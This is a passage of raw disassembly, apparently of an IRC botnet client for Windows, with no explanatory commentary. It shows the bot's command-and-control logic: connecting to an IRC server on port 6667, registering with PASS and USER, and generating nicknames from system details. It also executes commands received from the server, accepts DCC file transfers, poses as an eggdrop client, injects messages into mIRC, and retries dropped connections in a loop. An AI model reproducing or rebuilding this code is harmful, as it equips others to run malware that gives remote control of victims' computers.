[ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax jmp loc_40CAE1 ; --------------------------------------------------------------------------- loc_40CEA3: ; CODE XREF: sub_40CA29+BEj mov eax, [ebp+var_10] inc eax push eax call sub_40C916 pop ecx locret_40CEAE: ; CODE XREF: sub_40CA29+1Cj ; sub_40CA29+42j ... leave retn sub_40CA29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEB0 proc near ; CODE XREF: sub_40A9CF+14CEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] call sub_40CA29 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40CEC9 jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEC9: ; CODE XREF: sub_40CEB0+15j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40CEDF jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEDF: ; CODE XREF: sub_40CEB0+2Bj push 180h push [ebp+var_8] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_405F67 pop ecx pop ecx push [ebp+var_8] push offset aExecutingComma ; "Executing command(s): %s" push 0 push [ebp+var_4] push offset sub_40C93C call sub_4095A4 add esp, 14h locret_40CF23: ; CODE XREF: sub_40CEB0+17j ; sub_40CEB0+2Dj leave retn sub_40CEB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF25 proc near ; CODE XREF: sub_4020C2+B3p ; sub_40D871+59Bp ... push ebp mov ebp, esp mov eax, ds:dword_41EA74 pop ebp retn sub_40CF25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF2F proc near ; CODE XREF: sub_40D366+Dp ; sub_40D366+8Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 jz short loc_40CF9E push [ebp+arg_0] push offset dword_41E968 call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_4], 0 jz short loc_40CF60 push [ebp+arg_4] push offset dword_41EA68 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF71 ; --------------------------------------------------------------------------- loc_40CF60: ; CODE XREF: sub_40CF2F+1Ej push offset a6667 ; "6667" push offset dword_41EA68 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF71: ; CODE XREF: sub_40CF2F+2Fj cmp [ebp+arg_8], 0 jz short loc_40CF88 push [ebp+arg_8] push offset byte_41E7E8 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF99 ; --------------------------------------------------------------------------- loc_40CF88: ; CODE XREF: sub_40CF2F+46j push offset byte_41DF00 push offset byte_41E7E8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF99: ; CODE XREF: sub_40CF2F+57j jmp loc_40D020 ; --------------------------------------------------------------------------- loc_40CF9E: ; CODE XREF: sub_40CF2F+9j and [ebp+var_4], 0 jmp short loc_40CFAB ; --------------------------------------------------------------------------- loc_40CFA4: ; CODE XREF: sub_40CF2F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40CFAB: ; CODE XREF: sub_40CF2F+73j mov eax, [ebp+var_4] imul eax, 0Ch cmp ds:off_41DB18[eax], 0 jz short loc_40CFBC jmp short loc_40CFA4 ; --------------------------------------------------------------------------- loc_40CFBC: ; CODE XREF: sub_40CF2F+89j call sub_410422 xor edx, edx div [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+var_8] imul eax, 0Ch push ds:off_41DB18[eax] push offset dword_41E968 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch push ds:off_41DB1C[eax] push offset dword_41EA68 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_8] imul eax, 0Ch cmp ds:dword_41DB20[eax], 0 jz short loc_40D020 mov eax, [ebp+var_8] imul eax, 0Ch push ds:dword_41DB20[eax] push offset byte_41E7E8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D020: ; CODE XREF: sub_40CF2F:loc_40CF99j ; sub_40CF2F+D7j push offset dword_41E968 call sub_4105AD pop ecx push offset dword_41EA68 call sub_4105AD pop ecx push offset byte_41E7E8 call sub_4105AD pop ecx leave retn sub_40CF2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D043 proc near ; CODE XREF: sub_40D366+7Fp ; sub_40D871+619p var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_184 = byte ptr -184h var_104 = byte ptr -104h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push edi lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_80] push eax call sub_40668F add esp, 0Ch movsx eax, ds:byte_41E7E8 test eax, eax jz short loc_40D099 push offset byte_41E7E8 call sub_4105FB pop ecx push offset byte_41E7E8 push offset aPassS ; "PASS %s" call sub_40D6CB pop ecx pop ecx push offset byte_41E7E8 call sub_4105AD pop ecx loc_40D099: ; CODE XREF: sub_40D043+2Dj cmp [ebp+arg_0], 0 jz loc_40D132 movsx eax, ds:byte_41EF98 test eax, eax jz short loc_40D0C3 push offset byte_41EF98 lea eax, [ebp+var_184] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D0D6 ; --------------------------------------------------------------------------- loc_40D0C3: ; CODE XREF: sub_40D043+69j lea eax, [ebp+var_184] push eax push offset byte_41EF98 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D0D6: ; CODE XREF: sub_40D043+7Ej movsx eax, ds:byte_41F118 test eax, eax jz short loc_40D0F6 push offset byte_41F118 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40D109 ; --------------------------------------------------------------------------- loc_40D0F6: ; CODE XREF: sub_40D043+9Cj lea eax, [ebp+var_104] push eax push offset byte_41F118 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D109: ; CODE XREF: sub_40D043+B1j lea eax, [ebp+var_104] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_184] push eax push offset aUserSSSS ; "USER %s %s %s :%s" call sub_40D6CB add esp, 14h loc_40D132: ; CODE XREF: sub_40D043+5Aj cmp [ebp+arg_4], 0 jz loc_40D363 cmp [ebp+arg_0], 0 jz short loc_40D163 movsx eax, ds:byte_41EF18 test eax, eax jz short loc_40D163 push offset byte_41EF18 push offset dword_419F04 call sub_40D6CB pop ecx pop ecx jmp loc_40D363 ; --------------------------------------------------------------------------- loc_40D163: ; CODE XREF: sub_40D043+FDj ; sub_40D043+108j call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_188], eax cmp [ebp+var_188], 4 jnb short loc_40D18D call sub_406AE7 test eax, eax jz loc_40D31F loc_40D18D: ; CODE XREF: sub_40D043+13Bj call sub_406A23 lea eax, [ebp+var_24C] push eax call sub_408342 pop ecx test eax, eax jnz short loc_40D1B6 push offset aUnk ; "UNK" lea eax, [ebp+var_24C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D1B6: ; CODE XREF: sub_40D043+15Ej call sub_408E8E cmp eax, 400h jbe short loc_40D1CF call sub_408E8E mov [ebp+var_250], eax jmp short loc_40D1D9 ; --------------------------------------------------------------------------- loc_40D1CF: ; CODE XREF: sub_40D043+17Dj mov [ebp+var_250], 400h loc_40D1D9: ; CODE XREF: sub_40D043+18Aj mov eax, [ebp+var_250] shr eax, 0Ah mov [ebp+var_228], eax call sub_408887 mov [ebp+var_18C], eax mov [ebp+var_224], offset aB ; "B" cmp [ebp+var_18C], 2EEh jnb short loc_40D213 mov [ebp+var_224], offset aA ; "A" loc_40D213: ; CODE XREF: sub_40D043+1C4j cmp [ebp+var_18C], 1F4h jnb short loc_40D229 mov [ebp+var_224], offset aG ; "G" loc_40D229: ; CODE XREF: sub_40D043+1DAj and [ebp+var_22C], 0 mov [ebp+var_220], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_21C] rep stosd lea eax, [ebp+var_220] push eax call ds:dword_417030 ; GetVersionExA cmp [ebp+var_21C], 5 jnz short loc_40D270 cmp [ebp+var_218], 1 jnz short loc_40D270 mov [ebp+var_22C], 1 loc_40D270: ; CODE XREF: sub_40D043+218j ; sub_40D043+221j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_22C], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_224] push [ebp+var_228] push 5Dh push [ebp+var_188] push 5Bh push 5Dh lea eax, [ebp+var_24C] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_80] push eax call sub_416B5E ; sprintf add esp, 34h movsx eax, ds:byte_41DC08 test eax, eax jz short loc_40D31D push offset byte_41DC08 push offset dword_41DB88 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41DB88 call sub_4105FB pop ecx movsx eax, ds:byte_41DC88 test eax, eax jz short loc_40D31D push offset byte_41DC88 push offset dword_41EE18 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EE18 call sub_4105FB pop ecx loc_40D31D: ; CODE XREF: sub_40D043+295j ; sub_40D043+2BCj jmp short loc_40D343 ; --------------------------------------------------------------------------- loc_40D31F: ; CODE XREF: sub_40D043+144j push offset dword_41DB78 lea eax, [ebp+var_80] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_80] push eax call sub_4105FB pop ecx lea eax, [ebp+var_80] push eax call sub_40D7E5 pop ecx loc_40D343: ; CODE XREF: sub_40D043:loc_40D31Dj lea eax, [ebp+var_80] push eax push offset dword_419F04 call sub_40D6CB pop ecx pop ecx lea eax, [ebp+var_80] push eax push offset byte_41EF18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40D363: ; CODE XREF: sub_40D043+F3j ; sub_40D043+11Bj pop edi leave retn sub_40D043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D366 proc near ; CODE XREF: sub_40A9CF+1521p ; sub_40D871+4A7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF2F add esp, 0Ch push ds:dword_41EA74 call sub_40538D pop ecx mov [ebp+var_4], 0EA60h loc_40D38E: ; CODE XREF: sub_40D366:loc_40D419j push offset dword_41E968 call sub_4105FB pop ecx push offset dword_41EA68 call sub_4105FB pop ecx push 2710h push 1 push offset dword_41EA68 push offset dword_41E968 call sub_4050EA add esp, 10h mov ds:dword_41EA74, eax push offset dword_41E968 call sub_4105AD pop ecx push offset dword_41EA68 call sub_4105AD pop ecx cmp ds:dword_41EA74, 0 jz short loc_40D3EE push 1 push 1 call sub_40D043 pop ecx pop ecx jmp short locret_40D41E ; --------------------------------------------------------------------------- loc_40D3EE: ; CODE XREF: sub_40D366+79j push 0 push 0 push 0 call sub_40CF2F add esp, 0Ch push [ebp+var_4] call ds:dword_41709C ; Sleep cmp [ebp+var_4], 0A4CB80h jge short loc_40D419 mov eax, [ebp+var_4] add eax, 0EA60h mov [ebp+var_4], eax loc_40D419: ; CODE XREF: sub_40D366+A6j jmp loc_40D38E ; --------------------------------------------------------------------------- locret_40D41E: ; CODE XREF: sub_40D366+86j leave retn sub_40D366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D420 proc near ; CODE XREF: sub_4020C2+1DEp ; sub_40A9CF+1219p ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push ds:dword_41EA74 call sub_4053BF add esp, 0Ch leave retn sub_40D420 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4AB proc near ; CODE XREF: sub_4020C2+21Bp ; sub_40332B+1A6p ... var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 push [ebp+arg_0] push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1004] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_1008], eax lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_1008] push eax mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push ds:dword_41EA74 call sub_4053BF add esp, 0Ch leave retn sub_40D4AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D53F proc near ; CODE XREF: sub_401244+51p ; sub_401244+41Ep ... var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_416BC0 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_40D55F jmp locret_40D6C9 ; --------------------------------------------------------------------------- loc_40D55F: ; CODE XREF: sub_40D53F+19j and [ebp+var_8], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 1 jnz short loc_40D58F mov eax, [ebp+arg_0] add eax, 21h push eax push offset aNoticeS ; "NOTICE %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D58F: ; CODE XREF: sub_40D53F+2Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jnz short loc_40D5BB mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A058 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5BB: ; CODE XREF: sub_40D53F+5Aj mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D5E7 mov eax, [ebp+arg_0] add eax, 21h push eax push offset dword_41A048 lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax jmp short loc_40D605 ; --------------------------------------------------------------------------- loc_40D5E7: ; CODE XREF: sub_40D53F+86j mov eax, [ebp+arg_0] add eax, 21h push eax push offset aPrivmsgS ; "PRIVMSG %s :" lea eax, [ebp+var_1008] push eax call sub_416B5E ; sprintf add esp, 0Ch mov [ebp+var_8], eax loc_40D605: ; CODE XREF: sub_40D53F+4Ej ; sub_40D53F+7Aj ... mov eax, [ebp+arg_0] cmp dword ptr [eax+19Fh], 0 jz short loc_40D63C mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D629 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D63C loc_40D629: ; CODE XREF: sub_40D53F+DCj push offset dword_41A03C lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D63C: ; CODE XREF: sub_40D53F+D0j ; sub_40D53F+E8j lea eax, [ebp+arg_8] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_4] mov eax, 1000h sub eax, [ebp+var_8] push eax mov eax, [ebp+var_8] lea eax, [ebp+eax+var_1008] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 2 jz short loc_40D680 mov eax, [ebp+arg_0] cmp dword ptr [eax+121h], 3 jnz short loc_40D693 loc_40D680: ; CODE XREF: sub_40D53F+133j push offset dword_41A038 lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx loc_40D693: ; CODE XREF: sub_40D53F+13Fj push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1008] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1008] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1008] push eax push ds:dword_41EA74 call sub_4053BF add esp, 0Ch locret_40D6C9: ; CODE XREF: sub_40D53F+1Bj leave retn sub_40D53F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6CB proc near ; CODE XREF: sub_40332B+205p ; sub_40332B+212p ... var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 1004h call sub_416BC0 lea eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_0] push 1000h lea eax, [ebp+var_1004] push eax call sub_416DF0 ; _vsnprintf add esp, 10h and [ebp+var_4], 0 push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1004] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1004] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_1004] push eax push ds:dword_41EA74 call sub_4053BF add esp, 0Ch leave retn sub_40D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D734 proc near ; CODE XREF: sub_40D74D:loc_40D75Ep var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push offset aMirc ; "mIRC" call ds:dword_4171E8 ; FindWindowA mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_40D734 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D74D proc near ; CODE XREF: sub_40A9CF+926p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jnz short loc_40D75E jmp locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D75E: ; CODE XREF: sub_40D74D+Aj call sub_40D734 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40D76E jmp short locret_40D7E3 ; --------------------------------------------------------------------------- loc_40D76E: ; CODE XREF: sub_40D74D+1Dj push offset aMirc ; "mIRC" push 1000h push 0 push 4 push 0 push 0FFFFFFFFh call ds:dword_4170C0 ; CreateFileMappingA mov [ebp+var_8], eax push 0 push 0 push 0 push 0F001Fh push [ebp+var_8] call ds:dword_4170BC ; MapViewOfFile mov [ebp+var_C], eax push [ebp+arg_0] push [ebp+var_C] call sub_416B5E ; sprintf pop ecx pop ecx push 0 push 1 push 4C8h push [ebp+var_4] call ds:dword_4171EC ; SendMessageA push 0 push 1 push 4C9h push [ebp+var_4] call ds:dword_4171EC ; SendMessageA push [ebp+var_C] call ds:dword_4170B8 ; UnmapViewOfFile push [ebp+var_8] call ds:dword_4170A4 ; CloseHandle locret_40D7E3: ; CODE XREF: sub_40D74D+Cj ; sub_40D74D+1Fj leave retn sub_40D74D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D7E5 proc near ; CODE XREF: sub_40A9CF+E3p ; sub_40D043+2FAp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_40D803 ; --------------------------------------------------------------------------- loc_40D7FC: ; CODE XREF: sub_40D7E5:loc_40D86Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40D803: ; CODE XREF: sub_40D7E5+15j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short locret_40D86F mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40D82E push 39h push 30h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D82E: ; CODE XREF: sub_40D7E5+32j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40D86D call sub_410483 test eax, eax jz short loc_40D85A push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_40D86D ; --------------------------------------------------------------------------- loc_40D85A: ; CODE XREF: sub_40D7E5+5Ej push 5Ah push 41h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al loc_40D86D: ; CODE XREF: sub_40D7E5+47j ; sub_40D7E5+55j ... jmp short loc_40D7FC ; --------------------------------------------------------------------------- locret_40D86F: ; CODE XREF: sub_40D7E5+24j leave retn sub_40D7E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D871 proc near ; CODE XREF: sub_40E618+321p var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_7D8 = dword ptr -7D8h var_7D4 = dword ptr -7D4h var_7D0 = dword ptr -7D0h var_7CC = dword ptr -7CCh var_7C8 = dword ptr -7C8h var_7C4 = byte ptr -7C4h var_7C0 = dword ptr -7C0h var_7BC = byte ptr -7BCh var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_4B4 = byte ptr -4B4h var_490 = byte ptr -490h var_390 = byte ptr -390h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_35C = dword ptr -35Ch var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_238 = dword ptr -238h var_234 = byte ptr -234h var_213 = byte ptr -213h var_113 = dword ptr -113h var_10F = byte ptr -10Fh var_95 = dword ptr -95h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = byte ptr -7Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 7E8h push edi push offset aPing ; "PING" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8A7 mov eax, [ebp+arg_C] push dword ptr [eax+4] push offset aPongS ; "PONG %s" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8A7: ; CODE XREF: sub_40D871+1Dj push offset aPong ; "PONG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8C2 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8C2: ; CODE XREF: sub_40D871+4Aj push offset aMode ; "MODE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40D8DD jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D8DD: ; CODE XREF: sub_40D871+65j push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DB2D mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz loc_40DB2D mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax+1] cmp eax, 1 jnz loc_40DB2D push offset dword_41A14C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jz loc_40DA81 push offset aSend ; "SEND" mov eax, [ebp+arg_C] push dword ptr [eax+10h] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DA81 cmp [ebp+arg_0], 0 jz loc_40DA81 mov eax, [ebp+arg_C] cmp dword ptr [eax+14h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+18h], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+1Ch], 0 jz short loc_40D986 mov eax, [ebp+arg_C] cmp dword ptr [eax+20h], 0 jnz short loc_40D98B loc_40D986: ; CODE XREF: sub_40D871+F8j ; sub_40D871+101j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D871+113j mov eax, [ebp+arg_C] mov eax, [eax+14h] movsx eax, byte ptr [eax] cmp eax, 22h jnz short loc_40D99E jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40D99E: ; CODE XREF: sub_40D871+126j mov eax, [ebp+arg_C] push dword ptr [eax+20h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+20h] and byte ptr [ecx+eax], 0 push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41DB88 lea eax, [ebp+var_213] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_113], 0 push 7Ah push 0 lea eax, [ebp+var_10F] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_95], 1 mov eax, [ebp+arg_C] push dword ptr [eax+18h] call sub_416B9C ; atoi pop ecx mov [ebp+var_238], eax movzx eax, byte ptr [ebp+var_238] push eax mov eax, [ebp+var_238] shr eax, 8 movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 10h movzx eax, al push eax mov eax, [ebp+var_238] shr eax, 18h movzx eax, al push eax push offset dword_418A50 lea eax, [ebp+var_248] push eax call sub_416B5E ; sprintf add esp, 18h mov eax, [ebp+arg_C] push dword ptr [eax+20h] mov eax, [ebp+arg_C] push dword ptr [eax+1Ch] lea eax, [ebp+var_248] push eax mov eax, [ebp+arg_C] push dword ptr [eax+14h] push [ebp+arg_4] lea eax, [ebp+var_234] push eax call sub_4024F3 add esp, 18h jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DA81: ; CODE XREF: sub_40D871+BAj ; sub_40D871+C7j ... push offset dword_41A138 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DAAD push offset dword_41A12C mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40DAEB loc_40DAAD: ; CODE XREF: sub_40D871+224j cmp [ebp+arg_0], 0 jz short loc_40DAD1 push offset dword_41DD08 push 3B7h push 0 push offset dword_41A108 push [ebp+arg_4] call sub_40D420 add esp, 14h jmp short loc_40DAE6 ; --------------------------------------------------------------------------- loc_40DAD1: ; CODE XREF: sub_40D871+240j push offset aEggdropV1_6_16 ; "eggdrop v1.6.16" push offset dword_41A0E8 push [ebp+arg_4] call sub_40D420 add esp, 0Ch loc_40DAE6: ; CODE XREF: sub_40D871+25Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DAEB: ; CODE XREF: sub_40D871+23Aj push offset dword_41A0E0 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40DB16 push offset dword_41A0D8 mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call ds:dword_417108 ; lstrcmp test eax, eax jnz short loc_40DB2D loc_40DB16: ; CODE XREF: sub_40D871+28Ej mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax push eax push [ebp+arg_4] call sub_40D420 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DB2D: ; CODE XREF: sub_40D871+80j ; sub_40D871+8Dj ... push 